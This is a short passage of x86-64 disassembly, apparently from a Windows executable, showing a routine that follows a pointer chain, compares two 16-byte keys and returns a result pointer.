je 0x1400051df
mov rax, qword [rax]
jmp 0x1400051af
mov rcx, qword [r8]
sub rcx, qword [rax + 0x10]
jne 0x1400051f0
mov rcx, qword [r8 + 8]
sub rcx, qword [rax + 0x18]
test rcx, rcx
cmovne rax, rdx
mov qword [r11], rax
jmp 0x1400051ff
mov qword [r11], rdx
mov rax, r11
ret